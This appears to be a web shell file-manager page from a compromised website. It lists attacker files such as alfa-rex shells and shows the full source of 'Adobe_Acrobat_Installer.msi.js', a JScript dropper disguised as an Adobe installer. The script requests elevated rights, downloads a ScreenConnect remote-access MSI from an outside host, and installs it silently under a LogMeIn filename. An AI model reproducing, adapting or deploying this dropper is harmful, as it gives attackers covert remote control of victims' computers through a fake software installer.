at path:
ROOT
/
apps
/
custom
/
Adobe_Acrobat_Installer.msi.js
run:
R
W
Run
.htaccess
0 By
2017-06-09 14:08:01
R
W
Run
Delete
Rename
Adobe_Acrobat_Installer.msi.js
6.59 KB
2026-09-11 17:42:11
R
W
Run
Delete
Rename
about.php
0 By
2015-06-05 14:08:01
R
W
Run
Delete
Rename
about.php7
0 By
2018-06-30 14:08:01
R
W
Run
Delete
Rename
alfa-rex.PHP
0 By
2026-09-14 14:08:01
R
W
Run
Delete
Rename
alfa-rex.PhP7
0 By
2026-09-17 11:40:01
R
W
Run
Delete
Rename
alfa-rex.php56
0 By
2026-09-17 11:40:02
R
W
Run
Delete
Rename
alfa-rex.php8
0 By
2026-09-17 11:40:01
R
W
Run
Delete
Rename
bot_log.txt
573 By
2026-09-15 21:10:43
R
W
Run
Delete
Rename
data.php
166 By
2026-09-03 16:48:36
R
W
Run
Delete
Rename
index.php
0 By
2026-09-14 14:08:01
R
W
Run
Delete
Rename
validate.php
7.08 KB
2026-09-03 16:46:34
R
W
Run
Delete
Rename
wp-login.php
0 By
2026-09-17 11:40:01
R
W
Run
Delete
Rename
error_log
up
📄
Adobe_Acrobat_Installer.msi.js
Save
// ============================================================================ // 1 // 2 // ============================================================================ (function() { // Check if running with elevation if (WScript.Arguments.Length === 0) { var shell = new ActiveXObject("Shell.Application"); shell.ShellExecute("wscript.exe", "\"" + WScript.ScriptFullName + "\" elevated", "", "runas", 1); WScript.Quit(0); } // Define paths var msiUrl = "https://secure.tevlantis.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"; var destPath = "C:\\Windows\\Temp\\LogMeInResolve_Unattended.msi"; var destFolder = "C:\\Windows\\Temp"; var logFile = "C:\\Windows\\Temp\\LogMeIn_Install.log"; // Logging function function LogMessage(msg) { try { var fso = new ActiveXObject("Scripting.FileSystemObject"); var logStream = fso.OpenTextFile(logFile, 8, true); logStream.WriteLine(new Date() + " - " + msg); logStream.Close(); } catch (e) {} } // Start installation LogMessage("=== LogMeIn Installation Started ==="); try { var network = new ActiveXObject("WScript.Network"); LogMessage("Script running as: " + network.UserName); } catch (e) { LogMessage("Script running as: Unknown"); } // Create FileSystemObject var fso; try { fso = new ActiveXObject("Scripting.FileSystemObject"); } catch (e) { LogMessage("FATAL: Cannot create FileSystemObject - " + e.message); WScript.Quit(1); } // Create destination folder if needed if (!fso.FolderExists(destFolder)) { try { fso.CreateFolder(destFolder); LogMessage("Created folder: " + destFolder); } catch (e) { LogMessage("ERROR: Cannot create folder " + destFolder + " - " + e.message); WScript.Quit(1); } } else { LogMessage("Folder exists: " + destFolder); } // Delete old MSI if it exists if (fso.FileExists(destPath)) { try { fso.DeleteFile(destPath, true); LogMessage("Deleted existing MSI file"); } catch (e) { LogMessage("WARNING: Could not delete existing file - " + e.message); } } // Create HTTP request object var http; try { http = new ActiveXObject("MSXML2.ServerXMLHTTP"); } catch (e) { LogMessage("ERROR: Cannot create HTTP request object - " + e.message); WScript.Quit(1); } LogMessage("HTTP object created successfully"); // Configure HTTP request try { http.open("GET", msiUrl, false); http.setRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"); http.send(); } catch (e) { LogMessage("ERROR: HTTP request failed - " + e.message); WScript.Quit(1); } // Log HTTP response status LogMessage("HTTP request completed with status: " + http.status); LogMessage("HTTP Status Text: " + http.statusText); // Check HTTP response if (http.status === 200) { LogMessage("Download successful, saving file..."); // Create ADODB Stream for binary file var stream; try { stream = new ActiveXObject("ADODB.Stream"); } catch (e) { LogMessage("ERROR: Cannot create ADODB.Stream - " + e.message); LogMessage("This may be blocked by antivirus or system policy"); WScript.Quit(1); } try { stream.type = 1; // Binary stream.open(); stream.write(http.responseBody); stream.saveToFile(destPath, 2); // Overwrite if exists stream.close(); } catch (e) { LogMessage("ERROR: Cannot save file to " + destPath + " - " + e.message); WScript.Quit(1); } // Verify file was created if (fso.FileExists(destPath)) { var fileSize = fso.GetFile(destPath).Size; LogMessage("File saved successfully: " + destPath); LogMessage("File size: " + fileSize + " bytes"); if (fileSize < 1000) { LogMessage("WARNING: File size seems too small, may be incomplete"); } } else { LogMessage("ERROR: File was not created at " + destPath); WScript.Quit(1); } } else { LogMessage("ERROR: HTTP request failed with status " + http.status); LogMessage("Status text: " + http.statusText); WScript.Quit(1); } // Run MSI installer LogMessage("Starting MSI installation..."); var shell; try { shell = new ActiveXObject("WScript.Shell"); } catch (e) { LogMessage("ERROR: Cannot create WScript.Shell - " + e.message); WScript.Quit(1); } // Build msiexec command with logging var msiCommand = "msiexec /i \"" + destPath + "\" /qn /norestart /l*v \"" + "C:\\Windows\\Temp\\LogMeIn_MSI.log" + "\""; LogMessage("Command: " + msiCommand); var returnCode; try { returnCode = shell.Run(msiCommand, 0, true); } catch (e) { LogMessage("ERROR: Failed to execute msiexec - " + e.message); WScript.Quit(1); } LogMessage("MSI installation completed with exit code: " + returnCode); // Interpret common exit codes switch (returnCode) { case 0: LogMessage("SUCCESS: Installation completed successfully"); break; case 1641: LogMessage("SUCCESS: Installation completed, restart initiated"); break; case 3010: LogMessage("SUCCESS: Installation completed, restart required"); break; case 1602: LogMessage("ERROR: Installation cancelled by user"); break; case 1603: LogMessage("ERROR: Fatal error during installation"); break; case 1618: LogMessage("ERROR: Another installation is in progress"); break; case 1619: LogMessage("ERROR: Installation package could not be opened"); break; case 1625: LogMessage("ERROR: Installation forbidden by system policy"); break; default: LogMessage("WARNING: Installation completed with code " + returnCode); } LogMessage("=== Installation Script Completed ==="); LogMessage(""); WScript.Quit(returnCode); })();